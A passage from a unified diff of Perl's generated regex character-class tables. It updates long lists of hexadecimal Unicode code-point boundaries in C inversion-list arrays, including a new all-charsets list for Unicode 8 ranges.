+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x1D00,
+	0x1DF6,
+	0x1DFC,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
 	0x1F20,
-	0x1F28,
-	0x1F60,
-	0x1F68,
-	0x1F70,
-	0x1F71,
-	0x1F74,
-	0x1F75,
-	0x1F7C,
-	0x1F7D
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20BE,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218A,
+	0x2190,
+	0x23FB,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD2,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E43,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FCD,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA69E,
+	0xA69F,
+	0xA6F8,
+	0xA700,
+	0xA78F,
+	0xA790,
+	0xA7AE,
+	0xA7B0,
+	0xA7B2,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FC,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB60,
+	0xAB64,
+	0xAB66,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE2E,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018D,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111C9,
+	0x111CD,
+	0x111CE,
+	0x111D0,
+	0x111DB,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123E,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11301,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115CA,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11AC0,
+	0x11AF9,
+	0x12000,
+	0x12399,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x13000,
+	0x1342F,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x1B000,
+	0x1B002,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F19B,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23B,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F300,
+	0x1F32D,
+	0x1F330,
+	0x1F37E,
+	0x1F380,
+	0x1F3CF,
+	0x1F3D4,
+	0x1F3F8,
+	0x1F400,
+	0x1F4FF,
+	0x1F500,
+	0x1F54B,
+	0x1F550,
+	0x1F57A,
+	0x1F57B,
+	0x1F5A4,
+	0x1F5A5,
+	0x1F643,
+	0x1F645,
+	0x1F6D0,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F4,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1FFFE,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
 };
 
-static const UV _Perl_Any_Folds_invlist[] = { /* for EBCDIC 037 */
-	281,	/* Number of elements */
+static const UV PL_IN__8_invlist[] = { /* for all charsets */
+	1246,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x42,
-	0x4A,
-	0x51,
-	0x5A,
-	0x62,
-	0x6A,
-	0x70,
-	0x79,
-	0x80,
-	0x8A,
-	0x8C,
-	0x8F,
-	0x91,
-	0x9A,
-	0x9C,
-	0x9D,
-	0x9E,
-	0x9F,
-	0xA0,
-	0xA1,
-	0xA2,
-	0xAA,
-	0xAC,
-	0xAF,
-	0xC1,
-	0xCA,
-	0xCB,
-	0xD0,
-	0xD1,
-	0xDA,
-	0xDB,
-	0xE0,
-	0xE2,
-	0xEA,
-	0xEB,
-	0xF0,
-	0xFB,
-	0xFF,
-	0x100,
-	0x131,
-	0x132,
-	0x138,
-	0x139,
-	0x18D,
-	0x18E,
-	0x19B,
-	0x19C,
-	0x1AA,
-	0x1AC,
-	0x1BA,
-	0x1BC,
-	0x1BE,
-	0x1BF,
-	0x1C0,
-	0x1C4,
-	0x221,
-	0x222,
-	0x234,
-	0x23A,
-	0x255,
-	0x256,
-	0x258,
-	0x259,
-	0x25A,
-	0x25B,
-	0x25D,
-	0x260,
-	0x262,
-	0x263,
-	0x264,
-	0x265,
-	0x267,
-	0x268,
-	0x26D,
-	0x26F,
-	0x270,
-	0x271,
-	0x273,
-	0x275,
-	0x276,
-	0x27D,
-	0x27E,
-	0x280,
-	0x281,
-	0x283,
-	0x284,
-	0x287,
-	0x28D,
-	0x292,
-	0x293,
-	0x29D,
-	0x29F,
-	0x2BC,
-	0x2BD,
-	0x2BE,
-	0x2BF,
-	0x300,
-	0x302,
-	0x307,
-	0x309,
-	0x30A,
-	0x30B,
-	0x30C,
-	0x30D,
-	0x313,
-	0x314,
-	0x331,
-	0x332,
-	0x342,
-	0x343,
-	0x345,
-	0x346,
-	0x370,
-	0x374,
-	0x376,
 	0x378,
-	0x37B,
-	0x37E,
-	0x37F,
+	0x37A,
 	0x380,
-	0x386,
-	0x387,
-	0x388,
+	0x384,
 	0x38B,
 	0x38C,
 	0x38D,
@@ -65222,40 +256023,476 @@
 	0x38E,
 	0x3A2,
 	0x3A3,
-	0x3D2,
-	0x3D5,
-	0x3F6,
-	0x3F7,
-	0x3FC,
-	0x3FD,
-	0x482,
-	0x48A,
 	0x530,
 	0x531,
 	0x557,
+	0x559,
+	0x560,
 	0x561,
 	0x588,
-	0x10A0,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x8A0,
+	0x8B5,
+	0x8E3,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xAFA,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD01,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
 	0x10C6,
 	0x10C7,
 	0x10C8,
 	0x10CD,
 	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
 	0x13A0,
 	0x13F6,
 	0x13F8,
 	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
 	0x1C80,
-	0x1C89,
-	0x1D79,
-	0x1D7A,
-	0x1D7D,
-	0x1D7E,
-	0x1E00,
-	0x1E9C,
-	0x1E9E,
-	0x1E9F,
-	0x1EA0,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x1D00,
+	0x1DF6,
+	0x1DFC,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -65276,190 +256513,11007 @@
 	0x1F80,
 	0x1FB5,
 	0x1FB6,
-	0x1FBD,
-	0x1FBE,
-	0x1FBF,
-	0x1FC2,
 	0x1FC5,
 	0x1FC6,
-	0x1FCD,
-	0x1FD0,
 	0x1FD4,
 	0x1FD6,
 	0x1FDC,
-	0x1FE0,
-	0x1FED,
+	0x1FDD,
+	0x1FF0,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FFD,
-	0x2126,
-	0x2127,
-	0x212A,
-	0x212C,
-	0x2132,
-	0x2133,
-	0x214E,
-	0x214F,
-	0x2160,
-	0x2180,
-	0x2183,
-	0x2185,
-	0x24B6,
-	0x24EA,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20BF,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x23FB,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD2,
+	0x2BEC,
+	0x2BF0,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
 	0x2C5F,
 	0x2C60,
-	0x2C71,
-	0x2C72,
-	0x2C74,
-	0x2C75,
-	0x2C77,
-	0x2C7E,
-	0x2CE4,
-	0x2CEB,
-	0x2CEF,
-	0x2CF2,
 	0x2CF4,
-	0x2D00,
+	0x2CF9,
 	0x2D26,
 	0x2D27,
 	0x2D28,
 	0x2D2D,
 	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E43,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FD6,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
 	0xA640,
-	0xA66E,
-	0xA680,
-	0xA69C,
-	0xA722,
-	0xA730,
-	0xA732,
-	0xA770,
-	0xA779,
-	0xA788,
-	0xA78B,
-	0xA78E,
-	0xA790,
-	0xA794,
-	0xA796,
-	0xA7AF,
+	0xA6F8,
+	0xA700,
+	0xA7AE,
 	0xA7B0,
 	0xA7B8,
-	0xAB53,
-	0xAB54,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
 	0xAB70,
-	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
-	0xFF21,
-	0xFF3B,
-	0xFF41,
-	0xFF5B,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
